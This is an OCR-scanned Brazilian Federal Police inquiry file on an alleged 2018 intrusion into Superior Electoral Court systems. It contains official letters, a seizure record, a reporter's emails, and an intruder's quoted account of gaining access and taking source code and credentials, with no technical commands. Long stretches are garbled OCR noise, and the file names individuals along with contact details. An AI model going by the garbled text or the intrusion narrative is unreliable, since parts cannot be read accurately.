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CERTIFICO QUE, desentranhei dos autos os documentos em virtude de ter sido escaneado com erro (faltando
folhas). O referido é verdade e dou fé.
 
 

Documento eletrônico assinado em 04/11/2020, às 10h59, por LEONARDO BRUCE MADUREIRA LOPES,
Escrivao de Policia Federal, na forma do artigo 1º, inciso III, da Lei 11.419, de 19 de dezembro de 2006. A

autenticidade deste documento pode ser conferida no site https://servicos.dpf.gov.br/assinatura/app/assinatura,
informando o seguinte código verificador: c1c0f2f957472d157dc7710932458cfb72926145
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SERVIQC PL'Jl3L|CO FEDERAL
MSP - POLICIA FEDERAL

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 '

. IPL N°1361/2018-4 SR/PF/DF

PORTARIA

VICTOR NEVES FEITOSA CAMPOS, Delegado
de Policia Federal, lotado e em exercicio na
SR/PF/DF, em Brasilia/DF, no uso de suas
atribuiooes previstas no art. 144, §1°, I e IV, da
Constituioao Federal de 1988, no art. 4° e segs.,
do Codigo de Processo Penal, e na Lei n°
12.830/2013; f.

-i
Considerando os termos do Qficio nb 582.5
GAB-SPR, proveniente do Tribunal Superior
Eleitoral, registr-ado nesta SR/PF:/DEF 'o|fi°
oa2oo.o21ss4/2018-as, ;,~.-,l,;; ,

:-\J.-.
. \_

: -Q;~.;—,r.-

s::s"2='=x"a=!<;=5-,

-E-=r'"1_1..r§-._,.~

=r=¢=
RESOLVE:

lnstaurar lnquérito Policial, para apurar possivel ocorréncia ,,o delitp;
previsto no art. 154-A, §3° do Codigo Penal, que veio ao conhecimento desta
Superintendencia por meio do Oficio n° 5825 GAB-SPR, provenientedo Tribunal
Superior Eleitoral, trazendo a noticia de suposta invasao a sistemas e bancos de
dados do TSE, com acesso_ e divulgaoao de dados sigilosos daquele Tribunal.

Autuada esta e os documentos acima mencionados, feitos os registros e
anotaooes de praxe, DETERMINO sejam adotadas, preliminarmente, as seguintes
providéncias:

1. Expeoa-se oficio a Procuradoria da Republica, comunicando a
instauraoao deste procedimento;

2. Apreenda-se a midia (pen drive) encaminhada pelo Oficio n° 5825
GAB-SPR, juntando-a aos autos;

3. Junte-se o Oficio n° 5860 GAB-SPR, proveniente do TSE;

4. Expeoa-se oficio ao Tribunal‘ Superior Eleitoral, enderegado ao
Secretario de Tecnologia da lnformaoao, sr. Giuseppe Dutra Janino, solicitando a

IPL N° 1361/2018
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MSP - POL1ClA FEDERAL
SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL

SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902
imagem da(s) maquina(s) supostamente invadida(s), relatorio circunstanoiado do
incidente reportado no oficio ensejador da instauraoao do presente apuratorio, bem
como relatorio circunstanoiado de eventual incidente ocorrido no ano de 2018, que
possa ter relagao com o incidente reportado, indicando logs e lP's (ou outras
informaooes relevantes) suspeitos que possam levar a autoria do fato;

’/ii

5. Aguarde-se em cartorio a chegada da resposta ao item 3. supra,
quando deverao os autos retornarem-me conclusos para determinagao de novas
diligéncias .

C U M P R A - S E

Brasilia/DF, 0 e nov bro de 2018.

l
VICTOR NEV S ETOSA CAMPOS

Delegad d P licia Fed ral
Classe Espe -M tricul ° 16.179 1

l

IPL N” 1361/2018
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TRIBUNAL SUPERIOR ELEITORAL

Oficio n9 5825 GAB-SPR
Brasilia, 06 de novembro de 2018.

A Sua Exceléncia 0 Senhor
ROGERIO AUGUSTO VIANA GALLORO
Diretor-Geral da Policia Federal
Brasilia — DF

Assunto: Medidas de policia judiciaria.

Senhor Diretor-Geral,

Tendo em vista o teor do e-mail que acompanha o
presente oficio (anexo - I), bem como dos documentos e
imagens nele veiculadas (midia digital — anexo ll), solicito a
Vossa Exceléncia a adogao das medidas administrativas de
policia judiciéria pertinentes.

Atenciosamente,

Mir SA WE B ER

'1 Presidente
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TRIBUNAL SUPERIOR ELEITORAL

ANEXO I
De: Felipe Payéo [mailto:fe|ipe.cruz@gruponzn.com]
Enviada em: terga-feira, 6 de novembro de 2018 13:47
Para: Imprensa; silvana.freitas@tre-sp,jus.br

Obrigado

escreveu:
Ola. Tudo bem?

Assunto: Re: TecMundo - Possivel acesso ao GEDAI/Documentos

Os arquivos estao no ZIP, como indiquei na ligaoao.

Em 6 de novembro de 2018 12:36, Felipe Payfio <felipe.cruz@gruponzn.com>

Recebemos alguns documentos e imagens de uma suposta invasao ao sistema GEDAI e .
outras informaooes sigilosas referentes aos processos do TSE. Antes de uma provével
publicaoéio, gostariamos de compartilhar 0 material com vocés. '

Este seria o melhor canal?
Obrigado

14'
Felipe Payao
Reporter

TEL,+551l 5083.1018'
CEL +55 ll 972827444
HTTP:// nzn.io
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TRIBUNAL SUPERIOR ELEITORAL

Offcio n9 5860 GAB-SPR
Brasilia, 07 de novembro de 2018. »

A Sua Exceléncia o Senhor ' 1
ROGERIO AUGUSTO VIANA GALLORO
Diretor-Geral da Policia Federal
Brasilia - DF

Assunto: Medidas de policia iudiciaria - continuagao.

l
Senhor Diretor-Geral, h l

Encaminho a Vossa Exceléncia copia do e-mail recebido
nesta data (anexo-I), em complementagao aos documentos de
que trata 0 Oficio n9 5860 GAB-SPR, de 06.11.2018.

Atenciosamente, V

Mi SAWEBER
‘ Presidente
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TRIBUNAL SUPERIOR ELEITORAL

ANEXO I
De: Felipe Payéo [mailto:felipe.cruz@gruponzn.com]
Enviada em: quarta-feira, 7 de novembro de 2018 16:46
Para: Imprensa
Assunto: Re: TecMundo - Possivel acesso ao GEDAI/Documentos '

1

I

Ola,

Vocés teriam como nos enviar um posicionamento ainda hoj e?
I

Obrigado

Em 7 de novembro de 2018 16:12, Felipe Payao <felipe.cruz@gruponzn.com>
escreveu:
Ola, ,

Esqueci de incluir o tex_to que acompanhou os documentos explicando como foi
realizada a suposta invasao ao GEDAI e intranet. Segue abaixo:

Devido a falhas/vulnerabilidades de aplicagoes desenvolvidas pelo proprio TSE, acabei
obtendo acesso remoto, a um dos equipamentos ligado a rede. - V

Desta forma, tive acesso a rede interna (intranet), e por varios meses, fiquei explorando a
rede, inclusive entrando em diversas maquinas diferentes do TSE, em busca de
compreender, 0 funcionamento do sistemas de votagao.

Com isso, obtive milhares de codigos-fontes, documentos sigilosos, e até 'mesmo,
credenciais, sendo login de um ministro substituto do TSE (Sérgio Banhos), e diversos
técnicos, alguns sendo ligados a alta cupula de T.|, do TSE, ligado ao pai das urnas'
(Giuseppe Janino). _ _

Passados algumas semanas em que estive utilizando os equipamentos de rede do TSE,
notei via e-mai|'s dos técnicos da STI, que os mesmos notaram trafego suspeito (devido ter
tido utilizados programas de scan, na rede), fizeram uma pericia para detalharlcomo o
invasor conseguiu obter acesso ilegal a rede, mas mesmo com todos estes procedimentos
de seguranga que dotaram, incluindo a alteragao de senhas de todas as contas, acabou
néio sendo suficiente para interromper meu acesso, aos e-mails, e tambem a rede interna.

Notei que em 07/09 (data de execuoao do pleito eleitoral de 2018), os técnicos cortaraml
acesso ao VPN, e ao Correio, talvez para justificar, que as urnas nao possuem conexao a
internet, mas isso é bem assim, pois qualquer cidadao com conexao a internet, e
conhecimento para tal, exemplo: controle remoto de qualquer servidor que disp6e_ de
conexao a internet/intranet, poderia ser utilizado para manipulagao, de aplicagoes

\

a

4
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I TRIBUNAL SUPERIOR ELEITORAL
responséveis pelo sistema de votagao, como 0 lntercad (aplicagao WEB/JAVA), ligada aos
TRE'S.

Outra coisa, obtive juntamente com 0 codigo-fonte que cornpfiem o funcionamento das
urnas, as chaves que sao utilizadas.

. u *

Estou anexando mais algumas imagens em um arquivo ZIP, conflrmando a obterigao do
codigo-fonte, e também de documentos sigilosos que podem cornprometer 0 pleito.

Obs: Somente 0 codigo-fonte descompactado (GEDAI-UE), ultrapassa 3GBs,' sendo que
obtive milhares de outros codigos, como Cand-web."

a

1

I

M

u
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SERVICO PUBLICO FEDERAL
MSP - POLICIA EEDERAL

CORREGEDORIA REGIONAL DE POLICIA FEDERAL - COR/SR/PF/DF

Assunto: Noticia-crime
Destino: DRCOR/COR/SR/PF/DF
Processo: 08200021554/2018-33
lnteressadoz TSE

l. Trata-se de oficio encaminhado pela Excelentissima Ministra Presidente do Tribunal
Superior Eleitoral, ROSA WEBER, comunicando e solicitando a adooao de medidas de policia judicéiria.
pe-la Policia Federal, diante da possivel invasfio ao sistema GEDAI e acesso a documentos sigilosos do

“I Tribunal Superior Eleitoral, fato que se amolda, em tese, ao crime previsto no art. 154-A, §3", do Codigo
Penal Brasileiro.
2. Encaminhe-se o expediente a DRCOR para instauraeao de lnquérito Policial, procedendo-
se as atualizaooes nos sistemas SEI/SISCART.

RODRIGO DA SILVA BITTENCOURT
Delegado de Policia Federal

Corregedor Regional

. :a_.. '

Documento assinado eletronicamente por RODRIGO DA SILVA BITTENCOURT, Corregedor Regional,
1 em 07/11/2018, as 18:52, conforme horario oficial de Brasilia, com fundamento no art. 6‘-’, § 19, do
I~ié¥ei"ii,;¢}1i§§?_j, 1 Decreto n9 8.539, de 8 de outubro de 2015.

2V

“ '3-iv A autenticidade deste documento pode ser conferida no site
' _"_Lg..-L ' - ' ' 7__ 1,1l1.,l__,.,_ mEM@dmg mm

5' -_'§}1'-‘f acao=documento_c0nferir&id_ orgao_acesso_externo=0, informando o codigo verificador 8890655 e
.- .I."" o codigo CRC 28CC6EOA.

I

Referéncia: Processo n" 08200021554/2018-33 SEI n" 8890655

https://sei.dpf.govbrlseilcontrolador.php?acao=documento_imprimir_web&acao_origem=arvore_visua|izar&id_documento=11452699&infra_siste... 1/1
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p _ MSP-PO_LlClA FEDERAL ': 3 4 _
" SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL . ‘

_ SAIS Quadra 7 - Lote 23'- Setor Ffolicial Sul - Brasilia/DF - CEP 70.610-902

D_E§EAQl:lQ_N§ 6386/2018 - DRCOR/SR/PF/DF

_ _;- I -_ ,-_.
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Protocolo: - 082001121554/2018-33
Referénciasr Oficio n° 5825 GAB-SPR
Assunto: lnstauraoao de lnquérito Policial ~ -

' ' Encaminhe-se o presente expediente ao Delegado de Policia Federal
VICTORNEVESFEITOSA CAMPOS para a instauraoao de lnquérito Policial.: ‘ - i

- __-r

. - I ,‘. -_

Atu'a|izem'-'se os registros de praxe no SISCART/SEI. '

‘ ' ._ --' . . -I< ,

.‘ - ~'" '

Brasilia/DF, 08 de novembro de 2018.
- l.

I
.-

I

UGO DE BARROS CORREIA .
IDelegado de Policia Federal _

Chefe da DRCOR/SR/PF/DF .
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SERVIQO PUBLICO FEDERAL
MSP - POLICIA FEDERAL

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902

Oficio n° 8663/2018 - IPL 1361/2018-4 SR/PF/DF - GRCC

Brasilia/DF, 09 de novembro de 2018.

A Sua Senhoria, o Senhor
Giuseppe Dutra Janino
Secretario de Tecnologia da Informaoao
Tribunal Superior Eleitoral
Setor de Administragao Federal Sul, Quadra 7 - Asa Sul, te|.: (61) 30308881/8882
gab.sti@tse.jus.br

Assunto: Solicitaoao de informagoes
Ref.: IPL 1361 /201 8-4 - SR/PF/DF - (Favor citar essa referéncia na resposta)

Senhor Secretario,

Visando a apuraoao dos fatos noticiados no oficio n° 5825 GAB-SPR,
solicito a Vossa Senhoria encaminhar a imagem da(s) maquina(s) supostamente
invadida(s), relatorio circunstanoiado do incidente reportado no oficio ensejador da
instauragao do presente apuratorio, bem como relatorio circunstanoiado de eventual
incidente ocorrido no ano de 2018, que possa ter relagao com o incidente reportado,
indicando logs e lP's (ou outras informaooes relevantes) suspeitos que possam Ievar a
autoria do fato.

Atenciosamente,

VICTOR ES FEI CAMPOS
Del ado e Policia Federal

1“ C asse - Matricula n° 16.179
sz\\¢§“°“

\.w°‘“?§,¢;¢M=““°“\lew-°él?;“.‘lwe"“‘

IPL N° 1361/2018 fls. 1 /1
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SERVICO PUBLICO FEDERAL
MSP - POLICIA FEDERAL

, A

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902

AUTO DE APREENSAO N° 714/2018
IPL-1361/2018-4-SRIPF/DF

AO(s)09 dia(s) do mes de novembro de 2018, nesta SUPERINTENDENCIA REGIONAL
DE POLICIA FEDERAL NO DISTRITO FEDERAL, em Brasilia/DF, onde se encontrava
VICTOR NEVES FEITOSA CAMPOS, Delegado de Policia Federal, na presenga das
testemunhas HELIO GRACA MOUTA FILHO e SIMONE MENDES DE ANDRADE,
ambos Escrivaes de Policia Federal, lotados e em exercicio nesta SR/PF/DF, pelo
mesmo foi determinado que se tornasse efetiva a apreensao, na forma da Lei, do
material abaixo discriminado:

1 Pen drive 1 UN PEN DRIVE, MARCA SANDISK,
NAS CORES VERMELHA E
PRETA, ENCAMINHADO PELO

A reenséo n°: 714/2018
Item Descrigao Quant. Unidade Observagao

' oFic|o N° sszs GAB-SPR.
Referida apreensao se deu em cumprimento ao Item 2 do Despacho inaugural da
Autoridade Policial (fls. 02). Nada mais havendo, determinou a autoridade o
encerramento do presente que, Iido e achado conforme, assinam comigo, EDVALDO
SOUZA NASCIMENTO, Escrivaofde 3,'cia Federal, as testemunhas.

AUTORIDADE: ............. ..  .......... ......................... ..
TESTEMUNHA: ........... Qaélfi.‘.......................................... ..
TESTEMUNHA: ............. . ......................... ..
ESCR|VAO(Aj ................ +1/>4.’/4»............ M........................... ..

L-.-._

-§___

IPL N° 1361/2018 fls. 1 /1

SR”°F’
Rub: x.‘

Fl. 187
SR/PF/DF

2020.0043195



.-..,,’,v\‘ff1.»-Ea
W! -*1»

‘A3
‘~»:<5;‘ =1‘‘hfQ‘?

wm 1' 117-~,.--'
‘Q .1: q"31?3’ *1;{.&¢{?'?’ 4"

.

I

it
' an {H ‘£11111~ ‘ ( M P‘ Mn

3 “Y3 1-.-;‘,)*"“r-$f‘~3" Q
‘”‘LQn-1~}\::‘ l§ f /Y”;

u"-YE‘:
.2)I

1,1'pix> ,_I ‘L55F11
‘J! -.pf‘. ’1,_, P .‘Q -1.‘ 1 ;, .4 "

‘aw.‘ 3.;.

A‘,-.(»..-...Hr:.':~£_-n~5 V/v’§;Akg!.‘1 Iy;¢-I. 1-__F-31.=* -‘Is\
~

~:1

.1 a
-iias I14_;:_

*1-*1..,

\*

I $7,; v‘ -\

" - , r . .Mg; V .! ~ ‘v _ -
-4 : 4.

‘Ir: '6\-1-». r I wt‘ '7, I --1.:. . , , _ ‘I _ ,. -
ui‘; ‘-.. ' » '~ ‘*’: » "" L1,. P» ‘<1¢ é?»iv. -A, I 5- A .7 .\_ , “--.

“?' :5-I"
E.

“K»@*1 >¥* 2» ‘Q *1? *. V‘ \-~ \ ' :'- ‘
,1 a .1

1|.
1

*2’\_.*54'91:
_uh A‘24* -Y.. , F1‘ ll

V‘
S ,. 3;. r~» 1 .1.’ 4‘

0
' 1»_¢ ,2, .' 1- *1‘

>4
& er ‘

I)A ‘P ME w. qr P“ ‘T 'H v-.

__{ .

éwhia; ( Yfy‘ 4""}s§?§ A M“;,.t 1-6,, ~¢.~ =1, A-— , " "' ’.‘~ e' 4 ~- “‘~*”‘ j'§‘_"‘5€>~"l-7,:#\'“"..'; ‘, , ..,. .. \

la,§~§;?§%§g?h

v\ ati

‘I?Z, 1.34: ,}-Ear
ii?‘ fl in

‘Ti?

.1-.4. "-. , 4 _, MA,
"X

N~rsdu

4:‘
-1411: "*4" L-:25 1" 1 z":11»~»w:. :1-,»aL.. _~rE- 11 R; 11

-if -W W 914 7%

:2‘ ~ a 3

vb- :7”iii AR‘i

Y‘J€?'rrm 5€l“"* \.§I

gt

bf47%? *1‘

ri. 5%‘

_.-§g_;'i, . 4 - I
. 1""-,."-. z\'- .‘:./;.**~ 71"-‘-’<--51¢ ~-.. .11

“A

"Mié.

-= 1'“ - 1 a A» were .....
K. 5 "\"} £ "£615 *1 F. V ;_»*}:j;s§. AA V '. ~'~ 7'?!‘

“iii”

‘§":‘¢§.f3',’:?._(*“’_:1
‘ >..:,/J’ %é?§‘.1.

1r,_§§
xiF;

IK‘

*:es=
I-..<\_, -r ‘ (gr 1» -Z? ‘L

‘<44 3 "' -Tr; H.¢¢i‘5w-M ‘ 1;’.p‘ ‘If: ¢-- M ’ 0

‘ at '.§lfi£f;%“' ~. , ~x~t;;*

.4» ~' :1 ' ‘
,J>-;_r_- In‘.-¢<,;_, ‘p __;'.;W’

an ‘.,z:%;‘__;§‘ g ‘xfi '¢<>r{; ;;{,y}§§i€_‘

ii.» "‘>i;=E."=*=§, Q, .§‘1<='l:’¥&s,,*'1*,,~, -*'.$;,~%i..;,,,,,. 3,, ,, -~_ .
I 1

»'1/5E12?»» Q ‘ll:N‘! we

- ,.
1 , ..

<§?=’§.
1*

Ekzlv» ll-’~.» 1' ;- *1; 1.j_-»~ er 1:;~r".§_3§54:fl¢5Z , -. “ ~, ,;'-' 1*;-=-,1J -.21 ‘¢"‘.'»,-r- 4' : - 5 § »s- 2J1 I4,‘ Q»

- i~=.=-
5?

iii?!
;‘k?}.~r

r~ '2!
v

4,;Z.-
1*.

ax? 5 § _a1 _8 F 4.; ~,‘§0£. ” \
*~ $73 " * . -

gm. §{%£& ii ywit §'i‘.‘_\§¥€'~gw{;vr-3:$~_;‘€ ' 1 '
-K plWe

.:§'§‘

k
"57-1f'~~'*§7~,§m*~.‘>“ 51* - »i;I$‘* gvwf.

’ It 4
M

8 $2 2

:3if r' ,3-.v , “=0. '4":',§§I '

‘LY.='r‘*fip'"£234. I7II.,7;
2%,.‘r

J‘; '1?» xirzpay,
4» “ : “

A \ vi ‘vi 'j?§$3_ M;

' :3‘ '“ ‘$1-3%'%~i¢r?’r-yr Y»
‘.“vr

E, ¢.<»»>.»>t=_.1»g5._,iii"5*@,*:.4. ._ -
Va ' ~ . ’ "' *7“ * it yr, i1‘@*1-;“~=¢7-~"§1“£<»?;-‘~i1i*>‘1<-'¥isr% " 7 '7 '7

“A 2} % #1?“ - ‘fit-. 21,- E

-»# R.‘ '
E iii."

Wivgg '*>~1~'. '.-"*‘.¢' ~. /"

~15

" ‘fikam fifiiifilweigiog at 1: <‘?»lw ’~ .r~»'Sy..,\_. Fa’ ~

=

\:1 1%..%§.;'\+ ~
1‘

‘*‘Ie'*i-ii‘
>

':.,»i.,>~* %‘~“< . ‘F ~~~---~--
-A
66

5
nu.4Xup §m* in ‘.3 "-2 10-I

~ -vy~ u ,i.=~Y'l*‘i’i%~*'"'*~'*ji‘§L'~‘i
full -F‘ SQW

¥gl\

¢P?**€.

$6‘

ma
O

M» 4,1,:

J:¥‘rfk47v;.. A. Y gr \

‘E
u&{_:',q,,X‘ K Z -.

:11.-Jet} an g‘ ‘é 4

l-.!"'q.- ’_ .

1»:,..1 -’.\
< .

t

5; .-Z.~1
11

| . .

. R’

-p¢»--I-L_'__,4"",__,__

».1noI-.---v._-1-wv-»-|-

Fl. 188
SR/PF/DF

2020.0043195



Q‘. \ ‘Eh '1,
O

_ FLS. [4 ,

SERVICO PUBLICO FEDERAL
MSP - POLICIA FEDERAL

SUPERINTENDENCIA REGIONAL NODISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902

Oficio n° 8726/2018 - IPL 1361/2018-4 SR/PF/DF - GRCC

Brasilia/DF, 09 de novembro de 2018.

A Sua Exceléncia o(a) Senhor(a)
Procurador(a) da Republica
Procuradoria da Republica no Distrito Federal
SGAS 604, Lote 23 - Avenida L2 Sul

Assunto: Comunica Instauraoao de lnquérito Policial
Ref; IPL 13,61/2018-4 - SR/PF/DF (Citar principalmente este n° em eventual resposta)

\

I

Sen hor(,-,1) Procurador(a)

Comunico a Vossa Exceléncia que, em resposta ao Oficio n.° 5825,
protocolado nesta SR/DPF/DF sob o n° 08200021554201833, foi instaurado o lnquérito
Policial 1361/2018-4 - SR/PF/DF, sob a presidéncia desta Autoridade signataria,
invasao ao sistema GEDAI e acesso a documentos sigilosos do TSE.

Atenciosamente,

VICTOR NEVE F I SA CAMPOS
Delegado e olcia Federal’

Classe Especia Ma icula 16.179

IPL N° 1361/2018

Fl. 189
SR/PF/DF

2020.0043195



_.;; 7/,’ SR/PF/D
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SERVICO PUBLICO FEDERAL
MSP - POLICIA FEDERAL

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902

IPL n° 1361/2018-4 - SR/PF/DF

D E S PA C H O

1. Juntem-se os Oficios n° 6297 STI e 6322 STI.
2. Encaminhe-se o material (pen drive e discos rigidos) que

acompanharam os expedientes supra citados ao Servico de Repressao a
Crimes Cibernéticos da CGPFAZ, solicitando analisar o material e confirmar os
endereoos IP dos acessos e eventual vinculaoao do episodio de abril com 0
ocorrido em setembro e outras informaooes que possam Ievar a autoria do fato
delituoso.

./

3. Considerando o vencimento do prazo de permanéncia dos autos
no ambito policial; remetam-se ao MPF/DF com solicitacao de concessao de
novo prazo para continuidade das investigagoes.

-. -v.-. .

Brasilia/DF, 07 deze de 2018.
" ..4‘"
' ‘*1,

\

VICTOR NEV S EITO ACAMPOS
Delegadod Policia ederal

Classe Especi -Matricula 16.179

Delegado(a) VICTOR NEVES FEITOSA CAMPOS matricul
16.179, com 1 volume(s) e 0 apenso(s). Eu,
EDVALDO SOUZA NASCIMENTO, Escrivao de Policia Federal ~
Classe Especial, Matricula n° 926, que o lavrei.

_ DATA . A
Ao(s) éllil , recebi estes autos conclusos do(a ~ ---- --

IPL N° 1361/2018
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30/11/2018 SEI/TSE — 0925165 - QflClO
\
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TRIBUNAL SUPERIOR ELEITORAL

Oficio n9 6297 STI

I ' Brasilia, 16 de novembro de 2018.

A Sua Senhoria 0 Senhor

Victor Neves Feitosa Campos
»

Delegado de Policia Federal - , _

Policial Federal - Superintendéncia Regional no Distrito Federal
,.

Brasilia - DF

0 I
Assunto: Resposta. Solicitaqfio de Informacfies. IPL 1361/2018-4 - SR/PF/DF '

\ 1

Senhor Delegado,

1. Trata-se de encaminhar disco rigido contendo artefatos envolvidos em incidente
de seguranga ocorrido na rede da lustiga Eleitoral, que abriu precedente para que pessoas
alheias a rede d‘esta lustiga Especializada tivessem acesso a dados sensiveis.

2. S50 0s artefatos contidos no I-ID:

- Log d'e acesso a VPN do TRE-PB. Enviado log completo bem como log do usuario

-- Cépia. da maquina virtual do TRE-RN, que foi invadida durante 0 evento;
- Copia. de trés maquinas do TRE-BA que foram invadidas durante o evento de Abril;
- Relatério do TRE-PE contendo detalhamento do evento de Abril;

- Arquivo texto contendo resumo do evento de Abril de 2018. ‘
€

Atenciosamente,

GIUSEPPE DUTRA ]ANlNO ~
SECRETARIO DE TECNOLOGIA DA INFORMACAO

Documento assinado eletronicamente em 30/11/Z018, as 19:42, conforme art. 19, §29, III,
b, da Lei 1 1.41‘-3/2006.

https://sei.tse.jus.br/sei/oontrolador.php?acao=documento__imprimir___web&acao__origem=arvore_visuaIizar&id_documento=981869&infra_sistema... 1/2

—---- 7- _ __ __ __».___.- _- _.-— 7 _,»..-.,____.+'_L__..._'_-__ .-.€..._,--..__..
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O - Imagens de dialogos entre Cristiano Andrade e Marcelo Carneiro, evidenciando

~03,/12/2°18 SEI/TSE - 0926840 - Oficio

, ='_ ..-=4 . . ,._ 33;, . 3;: Ft...»
lrr;-'r""§& ' ' ', ~'- '~,-‘.X ..._b 1 -, .' _,‘ ;~':E“.

~ - . '3 . l$'=' '-“_‘.'.~
»:.‘».‘ »1%. ,., .. \.- -.- ‘

TRIBUNAL SUPERIOR ELEITORAL

Oficio n9 6322 STI
Brasilia, 3 de dezembro de 2018.

A Sua Senhoria 0 Senhor

Victor Neves Feitosa Campos

Delegado de Policia Federal

Policial Federal - Superintendéncia Regional no Distrito Federal

Brasilia - DF

Assunto: Complementacfio. Resposta. Solicitacfio de Informagzfies. IPL1361/2018-4 - SR/PF/DF

Senhor Delegado,

1. Trata-se de encaminhar pendrive e HD externo contendo artefatos envolvidos em
incidente de seguranga ocorrido na rede da Iustiga Eleitoral, que abriu precedente para que
pessoas alheias a rede desta lustiga Especializada tivessem acesso a dados sensiveis.

2. Os artefatos sao:

- Logs de a<;6es dos usuérios Cristiano Andrade, Sergio Banhos e Rodrigo Coimbra;

incidente ocorrido em 19 de maio;
- Relatorio circunstanciado dos incidentes ocorridos e abril e setembro de 2018;
- Cépia da méquina virtual do TRE-RN.

Atenciosamente,

I ELMANO AMANCIO DE sA ALvEs
SECRETARIO(A) DE TECNOLOGIA DA INFORMACAO - SUBSTlTUTO(A)

Documento assinado eletronicamente em 03/12/2018, as 16:39, conforme art. 19, §29, III,
b, da Lei 11.419/2006.

A autenticidade do documento pode ser conferida em
https://sei.tse.jus.br/sei/controlador externo.php_?

~ acao=documento conferir&id orgao acesso externo=0&cv=0926840&crc=61BAC466,
https://sei.tse.1us.br/sei/oontrolador.php?acao=documento__imprimir_web&acao__origem=an/ore_visualizar&id_documento=983653&infra_sistema... 1/2

Fl. 193
SR/PF/DF

2020.0043195



03/12/2018 SEI/TSE - 0926840 - Oficio
' -diff.‘E]informando, caso nao preenchido, o codigo verificador 0926840 e o cédigo - ‘UPF/O

J-I I- - L C2 Q61BAC466.
F:.s. Z 1;‘

'1-1%ti-' _ V
E vi‘; I

2018-00-000014722'5 Documento n° 092684-0 v4

https://sei.tse.jus.br/sei/eontrolador.php?acao=documento imprimir web&acao ori_dem=arvore visualizar&id documento=983653&infra sistema... 2/2
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Memorando n° 5970/2018» IPL -1361/2018 4 SR/RF/DP -GRCC A_ I v-“M A...-.--_~ 1-’ -.5-av:-_ .,_-~ J --1;--0 -¢- 1-.1.--.....1:.-1 -._ - 1

I A Rémt V m0 >de dezembro de 2018 Ii

1 07?1212o1a, faeo remeasea dos aums do IPL n 1 1 *
> 1_.3$11;0_1’8*-4, contendo 1 1m’111me(s) e 0 apens1:(s),i V In

A01/1; Exm6?fsE“dH6r-c}?efé‘7d@ s*E@f‘r1'7if1@<>"Z1é“R‘<-S‘p;<=5‘£5<> '5Yc*;'F1‘n?'é§ éT6‘é?F{éfi¢<>s da 1 1
CGPFAZ ‘Procuradoria da Repzglgaa no-Dsstmo I-ederai, nos termos 0

" Hrtigo 2"‘ da Resoiu o n° 63-. do Conselho da Just “ 1
.. Assuntoi s%|1é115?111|3~'a‘?i‘a1fé'é'&é’m21‘1“é?T5i\*~'Y£9~—~‘i<l1lZ~A NASCMENTO ' 1

_ Pmsurivtio de Polléla F1.-mural, Gtasse Especia_*.1,fl?a't?fc"aIT .. 1 ,_ - _ 1
1 {‘?“§J?Y.@iaP'°5-\"t5-, . - 1 Q

WW1:1 %1B

. . , ‘

\ "'5 1Senhor Chefe, __ ' 1 _ 1 ' T:

' Objetivand‘c%,truir_osIautos-do‘"IPL 1361/2018-4 SR/PF/DF - GRCC
encaminho a Vossa Exceléncia os materiais que se fazem acompanhar dos Oficios n° - ‘
6297 STI e 6322 STI, (pen _drive e discos rigidos), para fins deanalise dos mesmos e 7
confirmagao dos enderegos IP dos acessos e eventual vinculagao do episédio de abril .
com o ocorrido em setembro e‘outras informagées que possam Ievar a autoria do fato
de|ituoso.- = ' ~ - . . ' ' "-? in.-.‘__._,~4_~;_1

1
' _ \

> Atenciosamente, 1;
5 |T‘
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T VICTOR NEV S El O ACAMPOS ' . '
Delegadod Po|i' Federal '. Classe Especi - Matric|&r1"_1/(5.179 I A
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MJ.-DEPARTAMENTO DE POLTCIA FEDERAL

.1‘

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
DELEGACIA DE REPRESSAO A CRIMES FAZENDARIOS

C /10E R T I D

CERTIFICO QUE, NESTA DATA RECEBI DO SENHOR CHEFE DO
NUCART OS PRESENTES AUTOS PARA PROSSEGUIMENTO DOS
TRABALHOS AFETOS A ESTE APURATORIO, EM ASSIM, FACO
CONCLUSOS AO SENHOR DEL ‘CADO DE POLTCIA FEDERAL
VICTOR NEVES FEITOSA CA9/z’OS, PARA DELIBERAR, DO
QUE PARA CONSTAR, V l ESTE TERMO. O REFERIDO E
VERDADE E DOU FE.  0SOUZA NASCIMENTO,
ESCRIVAO DE POLTCI FE ERAL, MATRC. 926.

<1-\5'%<

BRASTLIA, 24 DE JANE O DE 2019.
\

‘\»-_

i S
CONCLUSAO

NESTA DATA, FACO CONCLUSOS OS PRES \'TES AUTOS AO
SENHOR DELEGADO DE POLTCIA FEDER VICTOR NEVES

O QUE, PARA
SOUZA

“$@FEITOSA CAMPOS, PARA DELIBERAR D
CONSTAR, LAVRO ESTE TERMO. E
NASCIMENTO, ESCRIVAO DE POLTC A 'l)ERAL.
BRASTLIA, 25 DE JANEIRO DE 2019.

-_.._,_____
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SERVIQO PUBLICO FEDERAL
MSP - POLlC|A FEDERAL '

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902

IPL n° 13611201 8-4 - SR/PF/DF

DESPACHO

1. Junte-se 0 Oficio n° 296 GAB-SPR. t ~ -
2. Expega-se oficio de resposta ao item 1 supra informando que o inquérlto

esta em andamento, restando pendente, atualmente, anélise por parte do Servigo de
Represséo a Crimes Cibernéticos do material encaminhado pelo TSE. _

' 3. Verifique-se se consta em cartério resposta ao Memo de fl. 20. Em caso
positivo, junte-se e retornem-me conclusos. Em caso negativo, reitere-se e aguarde-see
em cartério por 30 dias ou até a chegada da resposta. - .

' Brasilia/DF, 20 de fevereiro de 2019. -

VICTOR NE ES EITOSA CAMPOS '
Dele a dde olicia Federal ~

